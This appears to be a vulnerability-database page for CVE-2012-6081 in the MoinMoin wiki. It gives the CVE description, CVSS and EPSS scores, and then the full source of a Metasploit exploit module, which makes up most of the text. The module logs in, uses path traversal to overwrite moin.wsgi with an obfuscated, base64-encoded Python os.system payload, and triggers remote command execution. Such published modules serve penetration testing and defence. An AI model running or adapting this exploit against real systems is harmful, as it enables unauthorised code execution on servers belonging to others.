CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Multiple unrestricted file upload vulnerabilities in the (1) twikidraw (action/twikidraw.py) and (2) anywikidraw (action/anywikidraw.py) actions in MoinMoin before 1.9.6 allow remote authenticated users with write permissions to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in an unspecified directory, as exploited in the wild in July 2012.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6
AV:N/AC:M/Au:S/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
61.02%
–
–
2023-03-12
–
–
–
95.18%
–
2023-04-09
–
–
–
95.29%
–
2023-07-23
–
–
–
95.34%
–
2024-01-28
–
–
–
95.23%
–
2024-03-31
–
–
–
95.47%
–
2024-06-02
–
–
–
95.47%
–
2024-10-06
–
–
–
95.9%
–
2024-12-08
–
–
–
95.91%
–
2024-12-22
–
–
–
94.68%
–
2025-01-19
–
–
–
94.68%
–
2025-03-18
–
–
–
–
70.24%
2025-04-06
–
–
–
–
76.11%
2025-04-06
–
–
–
–
76.11,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MoinMoin twikidraw Action Traversal File Upload',
'Description' => %q{
This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
exists on the manage of the twikidraw actions, where a traversal path can be used
in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
configurations by overwriting moin.wsgi, which allows to execute arbitrary python
code, as exploited in the wild on July, 2012. The user is warned to use this module
at his own risk since it's going to overwrite the moin.wsgi file, required for the
correct working of the MoinMoin wiki. While the exploit will try to restore the
attacked application at post exploitation, correct working after all isn't granted.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'HTP', # PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6081' ],
[ 'OSVDB', '88825' ],
[ 'BID', '57082' ],
[ 'EDB', '25304' ],
[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],
[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]
],
'Privileged' => false, # web server context
'Payload' =>
{
'DisableNops' => true,
'Space' => 16384, # Enough one to fit any payload
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet netcat perl'
}
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'MoinMoin 1.9.5', { }]],
'DisclosureDate' => 'Dec 30 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end
def moinmoin_template(path)
template =[]
template << "# -*- coding: iso-8859-1 -*-"
template << "import sys, os"
template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
template << "from MoinMoin.web.serving import make_application"
template << "application = make_application(shared=True)"
return template
end
def restore_file(session, file, contents)
first = true
contents.each {|line|
if first
session.shell_command_token("echo \"#{line}\" > #{file}")
first = false
else
session.shell_command_token("echo \"#{line}\" >> #{file}")
end
}
end
# Try to restore a basic moin.wsgi file with the hope of making the
# application usable again.
# Try to search on /usr/local/share/moin (default search path) and the
# current path (apache user home). Avoiding to search on "/" because it
# could took long time to finish.
def on_new_session(session)
print_status("Trying to restore moin.wsgi...")
begin
files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
files.split.each { |file|
print_status("#{file} found! Trying to restore...")
restore_file(session, file, moinmoin_template(file))
}
files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
files.split.each { |file|
print_status("#{file} found! Trying to restore...")
restore_file(session, file, moinmoin_template(file))
}
print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
rescue
print_warning("Error while restring moin.wsgi, manual restoring would be required.")
end
end
def do_login(username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@base, @page),
'vars_post' =>
{
'action' => 'login',
'name' => username,
'password' => password,
'login' => 'Login'
}
})
if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
return nil
end
return res.get_cookies
end
def upload_code(session, code)
vprint_status("Retrieving the ticket...")
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' => {
'action' => 'twikidraw',
'do' => 'modify',
'target' => '../../../../moin.wsgi'
}
})
if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/
vprint_error("Error retrieving the ticket")
return nil
end
ticket = $1
vprint_good("Ticket found: #{ticket}")
my_payload = "[MARK]#{code}[MARK]"
post_data = Rex::MIME::Message.new
post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' =>
{
'action' => 'twikidraw',
'do' => 'save',
'ticket' => ticket,
'target' => '../../../../moin.wsgi'
},
'data' => my_data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if not res or res.code != 200 or not res.body.empty?
vprint_error("Error uploading the payload")
return nil
end
return true
end
def check
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
res = send_request_cgi({
'uri' => normalize_uri(@base)
})
if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
return Exploit::CheckCode::Detected
elsif res
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def writable_page?(session)
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
})
if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
return false
end
return true
end
def exploit
# Init variables
@page = datastore['WritablePage']
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
# Login if needed
if (datastore['USERNAME'] and
not datastore['USERNAME'].empty? and
datastore['PASSWORD'] and
not datastore['PASSWORD'].empty?)
print_status("Trying login to get session ID...")
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
else
print_status("Using anonymous access...")
session = ""
end
# Check authentication
if not session
fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
end
# Check writable permissions
if not writable_page?(session)
fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
end
# Upload payload
print_status("Trying to upload payload...")
python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
if not res
fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
end
# Execute payload
print_status("Executing the payload...")
res = send_request_cgi({
'uri' => normalize_uri(@base, @page),
'cookie' => session,
'vars_get' => {
'action' => 'AttachFile'
}
}, 5)
end
end